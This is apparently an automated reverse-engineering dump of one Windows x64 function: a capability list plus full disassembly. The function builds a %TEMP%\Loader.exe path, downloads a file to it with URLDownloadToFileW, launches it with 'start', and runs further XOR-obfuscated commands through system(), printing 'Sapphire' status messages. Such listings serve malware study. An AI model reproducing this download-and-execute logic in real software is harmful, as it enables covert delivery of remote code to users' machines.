Function at 0x140027680
Capabilities:
Download url
Encode data using xor
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x1401561c0]
xor rax, rsp
mov qword [rbp + 0xf0], rax
xor r13d, r13d
mov dword [rbp + 0x10], 0x39009e
lea rcx, [rbp + 0x10]
call fcn.140031450
lea rcx, [rbp + 0x10]
call fcn.14002d930
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r13
mov rsi, 0xffffffffffffffff
mov qword [rbp + 8], rsi
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], r13w
jne 0x140027700
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.140036bc0
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], 7
mov word [rbp + 0xb0], r13w
mov ecx, 0xa
call fcn.140112ae8
mov dword [rax], 0x450054
mov dword [rax + 4], 0x50004d
mov word [rax + 8], r13w
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__wgetenv]
test rax, rax
je 0x140027f4b
mov rdx, rsi
inc rdx
cmp word [rax + rdx*2], 0
jne 0x140027771
mov rcx, qword [rbp + 0xc8]
cmp rdx, rcx
ja 0x1400277ba
lea rdi, [rbp + 0xb0]
cmp rcx, 7
cmova rdi, qword [rbp + 0xb0]
mov qword [rbp + 0xc0], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi], r13w
jmp 0x1400277d0
mov r9, rax
lea rcx, [rbp + 0xb0]
call fcn.140036870
nop dword [rax]
mov ecx, Ordinal_27
call fcn.140112ae8
mov dword [rax], 0x4c005c
mov dword [rax + 4], 0x61006f
mov dword [rax + 8], 0x650064
mov dword [rax + 0xc], 0x2e0072
mov dword [rax + 0x10], 0x780065
mov dword [rax + 0x14], 0x65
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140027810
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14002f780
lea r8, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova r8, qword [rbp + 0xb0]
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 7
cmova rdx, qword [rbp + 0xd0]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140027df2
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp], rax
mov dword [rbp + 0x10], 0x39009e
lea rcx, [rbp + 0x10]
call fcn.1400311b0
mov ecx, Ordinal_143
call fcn.140112ae8
mov r10, rax
mov qword [rbp - 8], rax
movzx ecx, word [rbp + 0x10]
lea r9, [rax + 4]
lea r11, [rbp + 0x10]
sub r11, rax
lea rbx, [rbp + 0x12]
sub rbx, rax
lea rdi, [rbp + 0x14]
sub rdi, rax
lea r15, [rbp + 0x16]
sub r15, rax
lea r13, [rbp + 0x18]
sub r13, rax
lea r12, [rbp + 0x1a]
sub r12, rax
lea rsi, [rbp + 0x1c]
sub rsi, rax
lea r14, [rbp + 0x1e]
sub r14, rax
lea rax, [rbp + 0x20]
sub rax, r10
mov qword [rbp - 0x80], rax
lea r8, [rbp + 0x22]
sub r8, r10
mov qword [rbp - 0x10], r8
lea rax, [rbp + 0x24]
sub rax, r10
mov qword [rbp - 0x78], rax
lea rax, [rbp + 0x26]
sub rax, r10
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x28]
sub rax, r10
mov qword [rbp - 0x68], rax
lea rax, [rbp + 0x2a]
sub rax, r10
mov qword [rbp - 0x60], rax
lea rax, [rbp + 0x2c]
sub rax, r10
mov qword [rbp - 0x58], rax
lea rax, [rbp + 0x2e]
sub rax, r10
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x30]
sub rax, r10
mov qword [rbp - 0x48], rax
lea rax, [rbp + 0x32]
sub rax, r10
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x34]
sub rax, r10
mov qword [rbp - 0x38], rax
lea rax, [rbp + 0x36]
sub rax, r10
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x38]
sub rax, r10
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0x3a]
sub rax, r10
mov qword [rbp - 0x20], rax
lea rax, [rbp + 0x3c]
sub rax, r10
mov qword [rbp - 0x18], rax
mov qword [rsp + 0x30], 3
movzx eax, word [rbp + 0x12]
mov r10, qword [rbp - 0x80]
xor ax, cx
xor ax, word [r9 + r11]
mov word [r9 - 4], ax
movzx eax, word [r9 + rbx]
xor ax, word [r9 + r11]
mov word [r9 - 2], ax
movzx eax, word [r9 + rdi]
xor ax, word [r9 + rbx]
mov word [r9], ax
movzx eax, word [r9 + r15]
xor ax, word [r9 + rdi]
mov word [r9 + 2], ax
movzx eax, word [r9 + r13]
xor ax, word [r9 + r15]
mov word [r9 + 4], ax
movzx eax, word [r9 + r12]
xor ax, word [r9 + r13]
mov word [r9 + 6], ax
movzx eax, word [r9 + rsi]
xor ax, word [r9 + r12]
mov word [r9 + 8], ax
movzx eax, word [r9 + r14]
xor ax, word [r9 + rsi]
mov word [r9 + 0xa], ax
movzx eax, word [r9 + r10]
xor ax, word [r9 + r14]
mov word [r9 + 0xc], ax
movzx eax, word [r9 + r8]
xor ax, word [r9 + r10]
mov word [r9 + 0xe], ax
mov rax, qword [rbp - 0x78]
movzx edx, word [r9 + rax]
movzx eax, dx
xor ax, word [r9 + r8]
mov word [r9 + 0x10], ax
mov rax, qword [rbp - 0x70]
movzx ecx, word [r9 + rax]
movzx eax, cx
xor ax, dx
mov word [r9 + 0x12], ax
mov rax, qword [rbp - 0x68]
movzx edx, word [r9 + rax]
movzx eax, dx
xor ax, cx
mov word [r9 + 0x14], ax
mov rax, qword [rbp - 0x60]
movzx ecx, word [r9 + rax]
movzx eax, cx
xor ax, dx
mov word [r9 + 0x16], ax
mov rax, qword [rbp - 0x58]
movzx edx, word [r9 + rax]
movzx eax, dx
xor ax, cx
mov word [r9 + 0x18], ax
mov rax, qword [rbp - 0x50]
movzx ecx, word [r9 + rax]
movzx eax, cx
xor ax, dx
mov word [r9 + 0x1a], ax
mov rax, qword [rbp - 0x48]
movzx edx, word [r9 + rax]
movzx eax, dx
xor ax, cx
mov word [r9 + 0x1c], ax
mov rax, qword [rbp - 0x40]
movzx ecx, word [r9 + rax]
movzx eax, cx
xor ax, dx
mov word [r9 + 0x1e], ax
mov rax, qword [rbp - 0x38]
movzx edx, word [r9 + rax]
movzx eax, dx
xor ax, cx
mov word [r9 + 0x20], ax
mov rax, qword [rbp - 0x30]
movzx ecx, word [r9 + rax]
movzx eax, cx
xor ax, dx
mov word [r9 + 0x22], ax
mov rax, qword [rbp - 0x28]
movzx edx, word [r9 + rax]
movzx eax, dx
xor ax, cx
mov word [r9 + 0x24], ax
mov rax, qword [rbp - 0x20]
movzx r8d, word [r9 + rax]
movzx eax, r8w
xor ax, dx
mov word [r9 + 0x26], ax
mov rax, qword [rbp - 0x18]
movzx edx, word [r9 + rax]
movzx eax, dx
xor ax, r8w
mov word [r9 + 0x28], ax
movzx eax, word [rbp + 0x12]
movzx ecx, ax
xor cx, dx
lea r9, [r9 + 0x2e]
sub qword [rsp + 0x30], 1
mov r8, qword [rbp - 0x10]
jne 0x140027992
mov r10, qword [rbp - 8]
xor r13d, r13d
mov word [r10 + 0x8a], r13w
mov rdx, r10
mov rcx, qword [rbp]
call fcn.140035d10
lea rdx, [0x140035ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea ecx, [r13 + 0xe]
call fcn.140112ae8
mov dword [rax], 0x740073
mov dword [rax + 4], 0x720061
mov dword [rax + 8], 0x200074
mov word [rax + 0xc], r13w
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov rsi, qword [rbp + 8]
inc rsi
cmp word [rax + rsi*2], r13w
jne 0x140027bb0
mov r8, rsi
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140036bc0
nop
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rsp + 0x38]
call fcn.14002f780
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x60], ymm0
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov ebx, eax
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140027c82
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140027c7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140027c7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401128c4
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r13w
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x140027cdb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140027cd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140027cd6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401128c4
test ebx, ebx
jne 0x140027d87
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
call fcn.140112ae8
mov dword [rax], 0x610053
mov dword [rax + 4], 0x700070
mov dword [rax + 8], 0x690068
mov dword [rax + 0xc], 0x650072
mov dword [rax + 0x10], 0x730020
mov dword [rax + 0x14], 0x610074
mov dword [rax + 0x18], 0x740072
mov dword [rax + 0x1c], 0x640065
mov dword [rax + 0x20], 0x730020
mov dword [rax + 0x24], 0x630075
mov dword [rax + 0x28], 0x650063
mov dword [rax + 0x2c], 0x730073
mov dword [rax + 0x30], 0x750066
mov dword [rax + 0x34], 0x6c006c
mov dword [rax + 0x38], 0x79
mov rdx, rax
mov rcx, rbx
call fcn.140035d10
lea rdx, [0x140035ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140027e7f
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call fcn.140112ae8
mov dword [rax], 0x610046
mov dword [rax + 4], 0x6c0069
mov dword [rax + 8], 0x640065
mov dword [rax + 0xc], 0x740020
mov dword [rax + 0x10], 0x20006f
mov dword [rax + 0x14], 0x740073
mov dword [rax + 0x18], 0x720061
mov dword [rax + 0x1c], 0x200074
mov dword [rax + 0x20], 0x610053
mov dword [rax + 0x24], 0x700070
mov dword [rax + 0x28], 0x690068
mov dword [rax + 0x2c], 0x650072
mov word [rax + 0x30], r13w
jmp 0x140027e64
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
mov ecx, gethostname
call fcn.140112ae8
mov dword [rax], 0x610046
mov dword [rax + 4], 0x6c0069
mov dword [rax + 8], 0x640065
mov dword [rax + 0xc], 0x740020
mov dword [rax + 0x10], 0x20006f
mov dword [rax + 0x14], 0x6f0064
mov dword [rax + 0x18], 0x6e0077
mov dword [rax + 0x1c], 0x6f006c
mov dword [rax + 0x20], 0x640061
mov dword [rax + 0x24], 0x530020
mov dword [rax + 0x28], 0x700061
mov dword [rax + 0x2c], 0x680070
mov dword [rax + 0x30], 0x720069
mov dword [rax + 0x34], 0x65
mov rdx, rax
mov rcx, rbx
call fcn.140035d10
lea rdx, [0x140035ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x38], 0x39009e
vmovdqu ymm0, ymmword [0x14013c5e0]
vmovdqu ymmword [rsp + 0x3c], ymm0
mov word [rsp + 0x5c], 0xffb3
mov byte [rsp + 0x5e], 0
lea rcx, [rsp + 0x38]
vzeroupper
call fcn.14002d790
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140027ecd
mov ecx, 0x1388
jmp 0x140027e84
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x38], 0x39009e
vmovdqu ymm0, ymmword [0x14013c5c0]
vmovdqu ymmword [rsp + 0x3c], ymm0
lea rcx, [rsp + 0x38]
vzeroupper
call fcn.14002d610
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140027f1a
mov ecx, 0x1388
jmp 0x140027edd
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 4
call fcn.140112ae8
mov dword [rax], 0x736c63
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140027f9f
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140112ae8
mov dword [rax], 0x720045
mov dword [rax + 4], 0x6f0072
mov dword [rax + 8], 0x3a0072
mov dword [rax + 0xc], 0x7b0020
mov dword [rax + 0x10], 0x7d0031
mov word [rax + 0x14], r13w
mov rdx, rax
mov rcx, rbx
call fcn.140035d10
lea rdx, [0x140035ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 7
jbe 0x140027fe8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140027fe3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140027fe3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401128c4
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], 7
mov word [rbp + 0xb0], r13w
mov rdx, qword [rbp + 0xe8]
cmp rdx, 7
jbe 0x14002804b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028046
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028046
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401128c4
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.140112620
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret